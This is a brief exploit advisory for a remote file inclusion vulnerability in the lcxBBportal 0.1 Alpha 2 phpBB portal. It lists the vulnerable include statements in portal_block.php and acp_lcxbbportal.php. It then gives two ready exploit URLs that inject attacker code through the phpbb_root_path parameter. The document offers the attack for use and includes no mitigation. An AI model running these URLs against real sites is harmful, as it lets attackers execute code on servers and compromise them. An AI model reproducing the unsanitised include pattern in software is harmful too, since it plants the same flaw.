lcxBBportal 0.1 Alpha 2 - RFI

[o] lcxBBportal 0.1 Alpha 2 Remote File Inclusion Vulnerability
Software : lcxBBportal version 0.1 Alpha 2
Vendor   : http://code.google.com/p/lcxbbportal/
Download : http://code.google.com/p/lcxbbportal/downloads/list/lcxbbportal-0.1.A2.tar.gz
Author   : NoGe


[o] Vulnerable file
portal/includes/portal_block.php
include($phpbb_root_path . 'includes/bbcode.' . $phpEx);
includes/acp/acp_lcxbbportal.php
$phpbb_portal_path = $phpbb_root_path . 'portal/';
require_once($phpbb_portal_path . 'includes/portal_block.' . $phpEx);
require_once($phpbb_portal_path . 'includes/adm_portal_block.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);


[o] Exploit
http://localhost/[path]/portal/includes/portal_block.php?phpbb_root_path=[evilcode]
http://localhost/[path]/includes/acp/acp_lcxbbportal.php?phpbb_root_path=[evilcode]